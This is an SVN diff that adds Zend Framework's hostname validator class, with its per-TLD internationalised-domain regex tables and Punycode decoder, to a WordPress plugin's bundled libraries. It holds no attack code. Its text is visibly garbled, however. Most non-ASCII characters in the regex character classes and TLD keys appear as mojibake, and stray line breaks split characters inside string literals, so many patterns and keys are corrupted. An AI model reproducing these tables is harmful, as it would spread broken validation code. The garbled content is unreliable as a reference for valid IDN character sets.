+     * (.TR) Turkey https://www.nic.tr/index.php
+     * (.VE) Venice http://www.iana.org/domains/idn-tables/tables/ve_es_1.0.html
+     * (.VN) Vietnam http://www.vnnic.vn/english/5-6-300-2-2-04-20071115.htm#1.%20Introduction
+     *
+     * @var array
+     */
+    protected $_validIdns = array(
+        'AC'  => array(1 => '/^[\x{002d}0-9a-zÃ -Ã¶Ãž-Ã¿ÄÄÄ
+ÄÄÄÄÄÄÄÄÄÄÄÄ¡Ä£Ä¥Ä§Ä«Ä¯ÄµÄ·ÄºÄŒÄŸÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ¡Å£Å¥Å§Å«Å­Å¯Å±Å³ÅµÅ·ÅºÅŒÅŸ]{1,63}$/iu'),
+        'AR'  => array(1 => '/^[\x{002d}0-9a-zÃ -Ã£Ã§-ÃªÃ¬Ã­Ã±-ÃµÃŒ]{1,63}$/iu'),
+        'AS'  => array(1 => '/^[\x{002d}0-9a-zÃ -Ã¶Ãž-Ã¿ÄÄÄ
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¡Ä£Ä¥Ä§Ä©Ä«Ä­Ä¯Ä±ÄµÄ·ÄžÄºÄŒÄŸÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ¡Å£Å¥Å§Å©Å«Å­Å¯Å±Å³ÅµÅ·ÅºÅŒ]{1,63}$/iu'),
+        'AT'  => array(1 => '/^[\x{002d}0-9a-zÃ -Ã¶Ãž-Ã¿ÅÅ¡ÅŸ]{1,63}$/iu'),
+        'BIZ' => 'Hostname/Biz.php',
+        'BR'  => array(1 => '/^[\x{002d}0-9a-zÃ -Ã£Ã§Ã©Ã­Ã³-ÃµÃºÃŒ]{1,63}$/iu'),
+        'BV'  => array(1 => '/^[\x{002d}0-9a-zÃ Ã¡Ã€-Ã©ÃªÃ±-ÃŽÃ¶ÃžÃŒÄÄÅÅÅ¡Å§ÅŸ]{1,63}$/iu'),
+        'CAT' => array(1 => '/^[\x{002d}0-9a-zÂ·Ã Ã§-Ã©Ã­Ã¯Ã²Ã³ÃºÃŒ]{1,63}$/iu'),
+        'CH'  => array(1 => '/^[\x{002d}0-9a-zÃ -Ã¶Ãž-Ã¿Å]{1,63}$/iu'),
+        'CL'  => array(1 => '/^[\x{002d}0-9a-zÃ¡Ã©Ã­Ã±Ã³ÃºÃŒ]{1,63}$/iu'),
+        'CN'  => 'Hostname/Cn.php',
+        'COM' => 'Zend/Validate/Hostname/Com.php',
+        'DE'  => array(1 => '/^[\x{002d}0-9a-zÃ -Ã¶Ãž-Ã¿ÄÄ
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¡Ä£Ä¥Ä§Ä­Ä©Ä¯Ä«Ä±ÄµÄ·ÄºÄŸÄŒÅÅÅÅÅÅÅÅÅÄžÅÅÅÅÅÅ¡ÅÅ¥Å£Å§Å­Å¯Å±Å©Å³Å«ÅµÅ·ÅºÅŸÅŒ]{1,63}$/iu'),
+        'DK'  => array(1 => '/^[\x{002d}0-9a-zÃ€Ã©Ã¶ÃŒ]{1,63}$/iu'),
+        'ES'  => array(1 => '/^[\x{002d}0-9a-zÃ Ã¡Ã§ÃšÃ©Ã­Ã¯Ã±Ã²Ã³ÃºÃŒÂ·]{1,63}$/iu'),
+        'FI'  => array(1 => '/^[\x{002d}0-9a-zÃ€Ã¥Ã¶]{1,63}$/iu'),
+        'GR'  => array(1 => '/^[\x{002d}0-9a-zÎÎÎÎÎÎ-Î¡Î£-ÏáŒ-áŒáŒ-áŒáŒ -áœ
+áœ-áœáœ-áœáœáœáœáœ-áœœáŸ-áŸŽáŸ¶-áŸŒá¿á¿á¿á¿-á¿á¿-á¿á¿-á¿á¿ -á¿¬á¿²á¿³á¿Žá¿¶-á¿Œ]{1,63}$/iu'),
+        'HK'  => 'Zend/Validate/Hostname/Cn.php',
+        'HU'  => array(1 => '/^[\x{002d}0-9a-zÃ¡Ã©Ã­Ã³Ã¶ÃºÃŒÅÅ±]{1,63}$/iu'),
+        'INFO'=> array(1 => '/^[\x{002d}0-9a-zÃ€Ã¥ÃŠÃ©Ã¶ÃžÃŒ]{1,63}$/iu',
+            2 => '/^[\x{002d}0-9a-zÃ¡Ã©Ã­Ã³Ã¶ÃºÃŒÅÅ±]{1,63}$/iu',
+            3 => '/^[\x{002d}0-9a-zÃ¡ÃŠÃ©Ã­Ã°Ã³Ã¶ÃºÃœÃŸ]{1,63}$/iu',
+            4 => '/^[\x{AC00}-\x{D7A3}]{1,17}$/iu',
+            5 => '/^[\x{002d}0-9a-zÄÄÄÄ£Ä«Ä·ÄŒÅÅÅÅ¡Å«ÅŸ]{1,63}$/iu',
+            6 => '/^[\x{002d}0-9a-zÄ
+ÄÄÄÄ¯Å¡Å«Å³ÅŸ]{1,63}$/iu',
+            7 => '/^[\x{002d}0-9a-zÃ³Ä
+ÄÄÅÅÅÅºÅŒ]{1,63}$/iu',
+            8 => '/^[\x{002d}0-9a-zÃ¡Ã©Ã­Ã±Ã³ÃºÃŒ]{1,63}$/iu'),
+        'IO'  => array(1 => '/^[\x{002d}0-9a-zÃ -Ã¶Ãž-Ã¿ÄÄ
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¡Ä£Ä¥Ä§Ä­Ä©Ä¯Ä«Ä±ÄµÄ·ÄºÄŸÄŒÅÅÅÅÅÅÅÅÅÄžÅÅÅÅÅÅ¡ÅÅ¥Å£Å§Å­Å¯Å±Å©Å³Å«ÅµÅ·ÅºÅŸÅŒ]{1,63}$/iu'),
+        'IS'  => array(1 => '/^[\x{002d}0-9a-zÃ¡Ã©ÃœÃºÃ­Ã³ÃŸÃŠÃ¶Ã°]{1,63}$/iu'),
+        'JP'  => 'Zend/Validate/Hostname/Jp.php',
+        'KR'  => array(1 => '/^[\x{AC00}-\x{D7A3}]{1,17}$/iu'),
+        'LI'  => array(1 => '/^[\x{002d}0-9a-zÃ -Ã¶Ãž-Ã¿Å]{1,63}$/iu'),
+        'LT'  => array(1 => '/^[\x{002d}0-9Ä
+ÄÄÄÄ¯Å¡Å³Å«ÅŸ]{1,63}$/iu'),
+        'MD'  => array(1 => '/^[\x{002d}0-9ÄÃ¢Ã®ÅÅ£]{1,63}$/iu'),
+        'MUSEUM' => array(1 => '/^[\x{002d}0-9a-zÃ -Ã¶Ãž-Ã¿ÄÄÄ
+ÄÄÄÄÄÄÄÄÄÄÄ¡Ä£Ä§Ä«Ä¯Ä±Ä·ÄºÄŒÄŸÅÅÅÅÅÅÅÅÅÅÅÅÅÅ¡Å£Å¥Å§Å«Å¯Å±Å³ÅµÅ·ÅºÅŒÅŸÇÇÇÇ\x{01E5}\x{01E7}\x{01E9}\x{01EF}É\x{0292}áºáºáº
+á»³]{1,63}$/iu'),
+        'NET' => 'Zend/Validate/Hostname/Com.php',
+        'NO'  => array(1 => '/^[\x{002d}0-9a-zÃ Ã¡Ã€-Ã©ÃªÃ±-ÃŽÃ¶ÃžÃŒÄÄÅÅÅ¡Å§ÅŸ]{1,63}$/iu'),
+        'NU'  => 'Zend/Validate/Hostname/Com.php',
+        'ORG' => array(1 => '/^[\x{002d}0-9a-zÃ¡Ã©Ã­Ã±Ã³ÃºÃŒ]{1,63}$/iu',
+            2 => '/^[\x{002d}0-9a-zÃ³Ä
+ÄÄÅÅÅÅºÅŒ]{1,63}$/iu',
+            3 => '/^[\x{002d}0-9a-zÃ¡Ã€Ã¥ÃŠÃ©Ã«Ã­Ã°Ã³Ã¶ÃžÃºÃŒÃœÃŸ]{1,63}$/iu',
+            4 => '/^[\x{002d}0-9a-zÃ¡Ã©Ã­Ã³Ã¶ÃºÃŒÅÅ±]{1,63}$/iu',
+            5 => '/^[\x{002d}0-9a-zÄ
+ÄÄÄÄ¯Å¡Å«Å³ÅŸ]{1,63}$/iu',
+            6 => '/^[\x{AC00}-\x{D7A3}]{1,17}$/iu',
+            7 => '/^[\x{002d}0-9a-zÄÄÄÄ£Ä«Ä·ÄŒÅÅÅÅ¡Å«ÅŸ]{1,63}$/iu'),
+        'PE'  => array(1 => '/^[\x{002d}0-9a-zÃ±Ã¡Ã©Ã­Ã³ÃºÃŒ]{1,63}$/iu'),
+        'PL'  => array(1 => '/^[\x{002d}0-9a-zÄÄÄÄ£Ä«Ä·ÄŒÅÅÅÅ¡Å«ÅŸ]{1,63}$/iu',
+            2 => '/^[\x{002d}Ð°-ÐžÐº-Ñ\x{0450}ÑÑÑÑÑÑÑ]{1,63}$/iu',
+            3 => '/^[\x{002d}0-9a-zÃ¢Ã®ÄÅÅ£]{1,63}$/iu',
+            4 => '/^[\x{002d}0-9Ð°-ÑÑ\x{04C2}]{1,63}$/iu',
+            5 => '/^[\x{002d}0-9a-zÃ Ã¡Ã¢ÃšÃ©ÃªÃ¬Ã­Ã®Ã²Ã³ÃŽÃ¹ÃºÃ»ÄÄ¡Ä§ÅŒ]{1,63}$/iu',
+            6 => '/^[\x{002d}0-9a-zÃ Ã€Ã¥ÃŠÃ©ÃªÃ²Ã³ÃŽÃ¶ÃžÃŒ]{1,63}$/iu',
+            7 => '/^[\x{002d}0-9a-zÃ³Ä
+ÄÄÅÅÅÅºÅŒ]{1,63}$/iu',
+            8 => '/^[\x{002d}0-9a-zÃ Ã¡Ã¢Ã£Ã§Ã©ÃªÃ­Ã²Ã³ÃŽÃµÃºÃŒ]{1,63}$/iu',
+            9 => '/^[\x{002d}0-9a-zÃ¢Ã®ÄÅÅ£]{1,63}$/iu',
+            10=> '/^[\x{002d}0-9a-zÃ¡Ã€Ã©Ã­Ã³ÃŽÃºÃœÄÄÄºÄŸÅÅÅ¡Å¥ÅŸ]{1,63}$/iu',
+            11=> '/^[\x{002d}0-9a-zÃ§Ã«]{1,63}$/iu',
+            12=> '/^[\x{002d}0-9Ð°-ÐžÐº-ÑÑÑÑÑÑÑ]{1,63}$/iu',
+            13=> '/^[\x{002d}0-9a-zÄÄÄÅ¡ÅŸ]{1,63}$/iu',
+            14=> '/^[\x{002d}0-9a-zÃ¢Ã§Ã¶Ã»ÃŒÄÄ±Å]{1,63}$/iu',
+            15=> '/^[\x{002d}0-9a-zÃ¡Ã©Ã­Ã±Ã³ÃºÃŒ]{1,63}$/iu',
+            16=> '/^[\x{002d}0-9a-zÃ€ÃµÃ¶ÃŒÅ¡ÅŸ]{1,63}$/iu',
+            17=> '/^[\x{002d}0-9a-zÄÄÄ¥ÄµÅÅ­]{1,63}$/iu',
+            18=> '/^[\x{002d}0-9a-zÃ¢Ã€Ã©Ã«Ã®ÃŽ]{1,63}$/iu',
+            19=> '/^[\x{002d}0-9a-zÃ Ã¡Ã¢Ã€Ã¥ÃŠÃ§ÃšÃ©ÃªÃ«Ã¬Ã­Ã®Ã¯Ã°Ã±Ã²ÃŽÃ¶ÃžÃ¹ÃºÃ»ÃŒÃœÄÄÅÅÅÅÅ¡]{1,63}$/iu',
+            20=> '/^[\x{002d}0-9a-zÃ€Ã¥ÃŠÃµÃ¶ÃžÃŒÅ¡ÅŸ]{1,63}$/iu',
+            21=> '/^[\x{002d}0-9a-zÃ Ã¡Ã§ÃšÃ©Ã¬Ã­Ã²Ã³Ã¹Ãº]{1,63}$/iu',
+            22=> '/^[\x{002d}0-9a-zÃ Ã¡Ã©Ã­Ã³Ã¶ÃºÃŒÅÅ±]{1,63}$/iu',
+            23=> '/^[\x{002d}0-9ÎÎ¬-Ï]{1,63}$/iu',
+            24=> '/^[\x{002d}0-9a-zÃ Ã¡Ã¢Ã¥ÃŠÃ§ÃšÃ©ÃªÃ«Ã°Ã³ÃŽÃ¶ÃžÃŒÃŸÅ]{1,63}$/iu',
+            25=> '/^[\x{002d}0-9a-zÃ¡Ã€Ã©Ã­Ã³Ã¶ÃºÃŒÃœÄÄÄÅÅÅ¡Å¥Å¯ÅŸ]{1,63}$/iu',
+            26=> '/^[\x{002d}0-9a-zÂ·Ã Ã§ÃšÃ©Ã­Ã¯Ã²Ã³ÃºÃŒ]{1,63}$/iu',
+            27=> '/^[\x{002d}0-9Ð°-ÑÑÑÑ\x{0450}\x{045D}]{1,63}$/iu',
+            28=> '/^[\x{002d}0-9Ð°-ÑÑÑÑ]{1,63}$/iu',
+            29=> '/^[\x{002d}0-9a-zÄ
+ÄÄÄÄ¯Å¡Å«Å³ÅŸ]{1,63}$/iu',
+            30=> '/^[\x{002d}0-9a-zÃ¡Ã€Ã¥ÃŠÃ©Ã«Ã­Ã°Ã³Ã¶ÃžÃºÃŒÃœÃŸ]{1,63}$/iu',
+            31=> '/^[\x{002d}0-9a-zÃ Ã¢ÃŠÃ§ÃšÃ©ÃªÃ«Ã®Ã¯Ã±ÃŽÃ¹Ã»ÃŒÃ¿Å]{1,63}$/iu',
+            32=> '/^[\x{002d}0-9Ð°-ÑÑÑÑÑÑÑÑÑÑÑÒ]{1,63}$/iu',
+            33=> '/^[\x{002d}0-9×-×ª]{1,63}$/iu'),
+        'PR'  => array(1 => '/^[\x{002d}0-9a-zÃ¡Ã©Ã­Ã³ÃºÃ±Ã€Ã«Ã¯ÃŒÃ¶Ã¢ÃªÃ®ÃŽÃ»Ã ÃšÃ¹ÃŠÃ§ÅÃ£Ãµ]{1,63}$/iu'),
+        'PT'  => array(1 => '/^[\x{002d}0-9a-zÃ¡Ã Ã¢Ã£Ã§Ã©ÃªÃ­Ã³ÃŽÃµÃº]{1,63}$/iu'),
+        'RU'  => array(1 => '/^[\x{002d}0-9Ð°-ÑÑ]{1,63}$/iu'),
+        'SA'  => array(1 => '/^[\x{002d}.0-9\x{0621}-\x{063A}\x{0641}-\x{064A}\x{0660}-\x{0669}]{1,63}$/iu'),
+        'SE'  => array(1 => '/^[\x{002d}0-9a-zÃ€Ã¥Ã©Ã¶ÃŒ]{1,63}$/iu'),
+        'SH'  => array(1 => '/^[\x{002d}0-9a-zÃ -Ã¶Ãž-Ã¿ÄÄ
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¡Ä£Ä¥Ä§Ä­Ä©Ä¯Ä«Ä±ÄµÄ·ÄºÄŸÄŒÅÅÅÅÅÅÅÅÅÄžÅÅÅÅÅÅ¡ÅÅ¥Å£Å§Å­Å¯Å±Å©Å³Å«ÅµÅ·ÅºÅŸÅŒ]{1,63}$/iu'),
+        'SJ'  => array(1 => '/^[\x{002d}0-9a-zÃ Ã¡Ã€-Ã©ÃªÃ±-ÃŽÃ¶ÃžÃŒÄÄÅÅÅ¡Å§ÅŸ]{1,63}$/iu'),
+        'TH'  => array(1 => '/^[\x{002d}0-9a-z\x{0E01}-\x{0E3A}\x{0E40}-\x{0E4D}\x{0E50}-\x{0E59}]{1,63}$/iu'),
+        'TM'  => array(1 => '/^[\x{002d}0-9a-zÃ -Ã¶Ãž-Ã¿ÄÄÄ
+ÄÄÄÄÄÄÄÄÄÄÄÄ¡Ä£Ä¥Ä§Ä«Ä¯ÄµÄ·ÄºÄŒÄŸÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ¡Å£Å¥Å§Å«Å­Å¯Å±Å³ÅµÅ·ÅºÅŒÅŸ]{1,63}$/iu'),
+        'TW'  => 'Zend/Validate/Hostname/Cn.php',
+        'TR'  => array(1 => '/^[\x{002d}0-9a-zÄÄ±ÃŒÅÃ¶Ã§]{1,63}$/iu'),
+        'VE'  => array(1 => '/^[\x{002d}0-9a-zÃ¡Ã©Ã­Ã³ÃºÃŒÃ±]{1,63}$/iu'),
+        'VN'  => array(1 => '/^[ÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃ Ã¡Ã¢Ã£ÃšÃ©ÃªÃ¬Ã­Ã²Ã³ÃŽÃµÃ¹ÃºÃœÄÄÄÄÄšÄ©ÅšÅ©Æ Æ¡Æ¯Æ°\x{1EA0}-\x{1EF9}]{1,63}$/iu'),
+        'Ø§ÛØ±Ø§Ù' => array(1 => '/^[\x{0621}-\x{0624}\x{0626}-\x{063A}\x{0641}\x{0642}\x{0644}-\x{0648}\x{067E}\x{0686}\x{0698}\x{06A9}\x{06AF}\x{06CC}\x{06F0}-\x{06F9}]{1,30}$/iu'),
+        'äž­åœ' => 'Zend/Validate/Hostname/Cn.php',
+        'å
+¬åž' => 'Zend/Validate/Hostname/Cn.php',
+        'çœç»' => 'Zend/Validate/Hostname/Cn.php'
+    );
+
+    protected $_idnLength = array(
+        'BIZ' => array(5 => 17, 11 => 15, 12 => 20),
+        'CN'  => array(1 => 20),
+        'COM' => array(3 => 17, 5 => 20),
+        'HK'  => array(1 => 15),
+        'INFO'=> array(4 => 17),
+        'KR'  => array(1 => 17),
+        'NET' => array(3 => 17, 5 => 20),
+        'ORG' => array(6 => 17),
+        'TW'  => array(1 => 20),
+        'Ø§ÛØ±Ø§Ù' => array(1 => 30),
+        'äž­åœ' => array(1 => 20),
+        'å
+¬åž' => array(1 => 20),
+        'çœç»' => array(1 => 20),
+    );
+
+    /**
+     * Sets validator options
+     *
+     * @param integer          $allow       OPTIONAL Set what types of hostname to allow (default ALLOW_DNS)
+     * @param boolean          $validateIdn OPTIONAL Set whether IDN domains are validated (default true)
+     * @param boolean          $validateTld OPTIONAL Set whether the TLD element of a hostname is validated (default true)
+     * @param Zend_Validate_Ip $ipValidator OPTIONAL
+     * @return void
+     * @see http://www.iana.org/cctld/specifications-policies-cctlds-01apr02.htm  Technical Specifications for ccTLDs
+     */
+    public function __construct($allow = self::ALLOW_DNS, $validateIdn = true, $validateTld = true, Zend_Validate_Ip $ipValidator = null)
+    {
+        // Set allow options
+        $this->setAllow($allow);
+
+        // Set validation options
+        $this->_validateIdn = $validateIdn;
+        $this->_validateTld = $validateTld;
+
+        $this->setIpValidator($ipValidator);
+    }
+
+    /**
+     * @param Zend_Validate_Ip $ipValidator OPTIONAL
+     * @return void;
+     */
+    public function setIpValidator(Zend_Validate_Ip $ipValidator = null)
+    {
+        if ($ipValidator === null) {
+            $ipValidator = new Zend_Validate_Ip();
+        }
+        $this->_ipValidator = $ipValidator;
+    }
+
+    /**
+     * Returns the allow option
+     *
+     * @return integer
+     */
+    public function getAllow()
+    {
+        return $this->_allow;
+    }
+
+    /**
+     * Sets the allow option
+     *
+     * @param  integer $allow
+     * @return Zend_Validate_Hostname Provides a fluent interface
+     */
+    public function setAllow($allow)
+    {
+        $this->_allow = $allow;
+        return $this;
+    }
+
+    /**
+     * Set whether IDN domains are validated
+     *
+     * This only applies when DNS hostnames are validated
+     *
+     * @param boolean $allowed Set allowed to true to validate IDNs, and false to not validate them
+     */
+    public function setValidateIdn ($allowed)
+    {
+        $this->_validateIdn = (bool) $allowed;
+    }
+
+    /**
+     * Set whether the TLD element of a hostname is validated
+     *
+     * This only applies when DNS hostnames are validated
+     *
+     * @param boolean $allowed Set allowed to true to validate TLDs, and false to not validate them
+     */
+    public function setValidateTld ($allowed)
+    {
+        $this->_validateTld = (bool) $allowed;
+    }
+
+    /**
+     * Defined by Zend_Validate_Interface
+     *
+     * Returns true if and only if the $value is a valid hostname with respect to the current allow option
+     *
+     * @param  string $value
+     * @throws Zend_Validate_Exception if a fatal error occurs for validation process
+     * @return boolean
+     */
+    public function isValid($value)
+    {
+        $valueString = (string) $value;
+
+        $this->_setValue($valueString);
+
+        // Check input against IP address schema
+        if ($this->_ipValidator->setTranslator($this->getTranslator())->isValid($valueString)) {
+            if (!($this->_allow & self::ALLOW_IP)) {
+                $this->_error(self::IP_ADDRESS_NOT_ALLOWED);
+                return false;
+            } else{
+                return true;
+            }
+        }
+
+        // Check input against DNS hostname schema
+        $domainParts = explode('.', $valueString);
+        if ((count($domainParts) > 1) && (strlen($valueString) >= 4) && (strlen($valueString) <= 254)) {
+            $status = false;
+
+            do {
+                // First check TLD
+                if (preg_match('/([^.]{2,10})$/i', end($domainParts), $matches) ||
+                    (end($domainParts) == 'Ø§ÛØ±Ø§Ù') || (end($domainParts) == 'äž­åœ') ||
+                    (end($domainParts) == 'å
+¬åž') || (end($domainParts) == 'çœç»')) {
+
+                    reset($domainParts);
+
+                    // Hostname characters are: *(label dot)(label dot label); max 254 chars
+                    // label: id-prefix [*ldh{61} id-prefix]; max 63 chars
+                    // id-prefix: alpha / digit
+                    // ldh: alpha / digit / dash
+
+                    // Match TLD against known list
+                    $this->_tld = strtolower($matches[1]);
+                    if ($this->_validateTld) {
+                        if (!in_array($this->_tld, $this->_validTlds)) {
+                            $this->_error(self::UNKNOWN_TLD);
+                            $status = false;
+                            break;
+                        }
+                    }
+
+                    /**
+                     * Match against IDN hostnames
+                     * Note: Keep label regex short to avoid issues with long patterns when matching IDN hostnames
+                     * @see Zend_Validate_Hostname_Interface
+                     */
+                    $regexChars = array(0 => '/^[a-z0-9\x2d]{1,63}$/i');
+                    if ($this->_validateIdn &&  isset($this->_validIdns[strtoupper($this->_tld)])) {
+                        if (is_string($this->_validIdns[strtoupper($this->_tld)])) {
+                            $regexChars += include($this->_validIdns[strtoupper($this->_tld)]);
+                        } else {
+                            $regexChars += $this->_validIdns[strtoupper($this->_tld)];
+                        }
+                    }
+
+                    // Check each hostname part
+                    $valid = true;
+                    foreach ($domainParts as $domainPart) {
+
+                        // Decode Punycode domainnames to IDN
+                        if (strpos($domainPart, 'xn--') === 0) {
+                            $domainPart = $this->decodePunycode(substr($domainPart, 4));
+                            if ($domainPart === false) {
+                                return false;
+                            }
+                        }
+
+                        // Check dash (-) does not start, end or appear in 3rd and 4th positions
+                        if ((strpos($domainPart, '-') === 0)
+                            || ((strlen($domainPart) > 2) && (strpos($domainPart, '-', 2) == 2) && (strpos($domainPart, '-', 3) == 3))
+                            || (strpos($domainPart, '-') === (strlen($domainPart) - 1))) {
+                            $this->_error(self::INVALID_DASH);
+                            $status = false;
+                            break 2;
+                        }
+
+                        // Check each domain part
+                        $check = false;
+                        foreach($regexChars as $regexKey => $regexChar) {
+                            $status = @preg_match($regexChar, $domainPart);
+                            if ($status === false) {
+                                require_once 'Zend/Validate/Exception.php';
+                                throw new Zend_Validate_Exception('Internal error: DNS validation failed');
+                            } elseif ($status !== 0) {
+                                $length = 63;
+                                if (array_key_exists(strtoupper($this->_tld), $this->_idnLength)
+                                    && (array_key_exists($regexKey, $this->_idnLength[strtoupper($this->_tld)]))) {
+                                    $length = $this->_idnLength[strtoupper($this->_tld)];
+                                }
+
+                                if (iconv_strlen($domainPart) > $length) {
+                                    $this->_error(self::INVALID_HOSTNAME);
+                                } else {
+                                    $check = true;
+                                    break 2;
+                                }
+                            }
+                        }
+
+                        if (!$check) {
+                            $valid = false;
+                        }
+                    }
+
+                    // If all labels didn't match, the hostname is invalid
+                    if (!$valid) {
+                        $this->_error(self::INVALID_HOSTNAME_SCHEMA);
+                        $status = false;
+                    }
+
+                } else {
+                    // Hostname not long enough
+                    $this->_error(self::UNDECIPHERABLE_TLD);
+                    $status = false;
+                }
+            } while (false);
+
+            // If the input passes as an Internet domain name, and domain names are allowed, then the hostname
+            // passes validation
+            if ($status && ($this->_allow & self::ALLOW_DNS)) {
+                return true;
+            }
+        } else {
+            $this->_error(self::INVALID_HOSTNAME);
+        }
+
+        // Check input against local network name schema; last chance to pass validation
+        $regexLocal = '/^(([a-zA-Z0-9\x2d]{1,63}\x2e)*[a-zA-Z0-9\x2d]{1,63}){1,254}$/';
+        $status = @preg_match($regexLocal, $valueString);
+        if (false === $status) {
+            /**
+             * Regex error
+             * @see Zend_Validate_Exception
+             */
+            require_once 'Zend/Validate/Exception.php';
+            throw new Zend_Validate_Exception('Internal error: local network name validation failed');
+        }
+
+        // If the input passes as a local network name, and local network names are allowed, then the
+        // hostname passes validation
+        $allowLocal = $this->_allow & self::ALLOW_LOCAL;
+        if ($status && $allowLocal) {
+            return true;
+        }
+
+        // If the input does not pass as a local network name, add a message
+        if (!$status) {
+            $this->_error(self::INVALID_LOCAL_NAME);
+        }
+
+        // If local network names are not allowed, add a message
+        if ($status && !$allowLocal) {
+            $this->_error(self::LOCAL_NAME_NOT_ALLOWED);
+        }
+
+        return false;
+    }
+
+    /**
+     * Decodes a punycode encoded string to it's original utf8 string
+     * In case of a decoding failure the original string is returned
+     *
+     * @param  string $encoded Punycode encoded string to decode
+     * @return string
+     */
+    protected function decodePunycode($encoded)
+    {
+        $matches = array();
+        $found   = preg_match('/([^a-z0-9\x2d]{1,10})$/i', $encoded);
+        if (empty($encoded) || (count($matches) > 0)) {
+            // no punycode encoded string, return as is
+            $this->_error(self::CANNOT_DECODE_PUNYCODE);
+            return false;
+        }
+
+        $separator = strrpos($encoded, '-');
+        if ($separator > 0) {
+            for ($x = 0; $x < $separator; ++$x) {
+                // prepare decoding matrix
+                $decoded[] = ord($encoded[$x]);
+            }
+        } else {
+            $this->_error(self::CANNOT_DECODE_PUNYCODE);
+            return false;
+        }
+
+        $lengthd = count($decoded);
+        $lengthe = strlen($encoded);
+
+        // decoding
+        $init  = true;
+        $base  = 72;
+        $index = 0;
+        $char  = 0x80;
+
+        for ($indexe = ($separator) ? ($separator + 1) : 0; $indexe < $lengthe; ++$lengthd) {
+            for ($old_index = $index, $pos = 1, $key = 36; 1 ; $key += 36) {
+                $hex   = ord($encoded[$indexe++]);
+                $digit = ($hex - 48 < 10) ? $hex - 22
+                       : (($hex - 65 < 26) ? $hex - 65
+                       : (($hex - 97 < 26) ? $hex - 97
+                       : 36));
+
+                $index += $digit * $pos;
+                $tag    = ($key <= $base) ? 1 : (($key >= $base + 26) ? 26 : ($key - $base));
+                if ($digit < $tag) {
+                    break;
+                }
+
+                $pos = (int) ($pos * (36 - $tag));
+            }
+
+            $delta   = intval($init ? (($index - $old_index) / 700) : (($index - $old_index) / 2));
+            $delta  += intval($delta / ($lengthd + 1));
+            for ($key = 0; $delta > 910 / 2; $key += 36) {
+                $delta = intval($delta / 35);
+            }
+
+            $base   = intval($key + 36 * $delta / ($delta + 38));
+            $init   = false;
+            $char  += (int) ($index / ($lengthd + 1));
+            $index %= ($lengthd + 1);
+            if ($lengthd > 0) {
+                for ($i = $lengthd; $i > $index; $i--) {
+                    $decoded[$i] = $decoded[($i - 1)];
+                }
+            }
+
+            $decoded[$index++] = $char;
+        }
+
+        // convert decoded ucs4 to utf8 string
+        foreach ($decoded as $key => $value) {
+            if ($value < 128) {
+                $decoded[$key] = chr($value);
+            } elseif ($value < (1 << 11)) {
+                $decoded[$key]  = chr(192 + ($value >> 6));
+                $decoded[$key] .= chr(128 + ($value & 63));
+            } elseif ($value < (1 << 16)) {
+                $decoded[$key]  = chr(224 + ($value >> 12));
+                $decoded[$key] .= chr(128 + (($value >> 6) & 63));
+                $decoded[$key] .= chr(128 + ($value & 63));
+            } elseif ($value < (1 << 21)) {
+                $decoded[$key]  = chr(240 + ($value >> 18));
+                $decoded[$key] .= chr(128 + (($value >> 12) & 63));
+                $decoded[$key] .= chr(128 + (($value >> 6) & 63));
+                $decoded[$key] .= chr(128 + ($value & 63));
+            } else {
+                $this->_error(self::CANNOT_DECODE_PUNYCODE);
+                return false;
+            }
+        }
+
+        return implode($decoded);
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Hostname/Biz.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Hostname/Biz.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Hostname/Biz.php	(revision 44)
@@ -0,0 +1,2919 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Validate
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ * @version    $Id: Hostname.php 14417 2009-03-21 22:27:38Z thomas $
+ */
+
+/**
+ * Ressource file for biz idn validation
+ *
+ * @category   Zend
+ * @package    Zend_Validate
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+return array(
+    1  => '/^[\x{002d}0-9a-zÃ€Ã¥ÃŠÃ©Ã¶ÃžÃŒ]{1,63}$/iu',
+    2  => '/^[\x{002d}0-9a-zÃ¡Ã©Ã­Ã±Ã³ÃºÃŒ]{1,63}$/iu',
+    3  => '/^[\x{002d}0-9a-zÃ¡Ã©Ã­Ã³Ã¶ÃºÃŒÅÅ±]{1,63}$/iu',
+    4  => '/^[\x{002d}0-9a-zÃ¡ÃŠÃ©Ã­Ã°Ã³Ã¶ÃºÃœÃŸ]{1,63}$/iu',
+    5  => '/^[\x{AC00}-\x{D7A3}]{1,17}$/iu',
+    6  => '/^[\x{002d}0-9a-zÄ
+ÄÄÄÄ¯Å¡Å«Å³ÅŸ]{1,63}$/iu',
+    7  => '/^[\x{002d}0-9a-zÄÄÄÄ£Ä«Ä·ÄŒÅÅÅÅ¡Å«ÅŸ]{1,63}$/iu',
+    8  => '/^[\x{002d}0-9a-zÃ Ã¡Ã€-Ã©ÃªÃ±-ÃŽÃ¶ÃžÃŒÄÄÅÅÅ¡Å§ÅŸ]{1,63}$/iu',
+    9  => '/^[\x{002d}0-9a-zÃ³Ä
+ÄÄÅÅÅÅºÅŒ]{1,63}$/iu',
+    10 => '/^[\x{002d}0-9a-zÃ¡Ã Ã¢Ã£Ã§Ã©ÃªÃ­Ã³ÃŽÃµÃº]{1,63}$/iu',
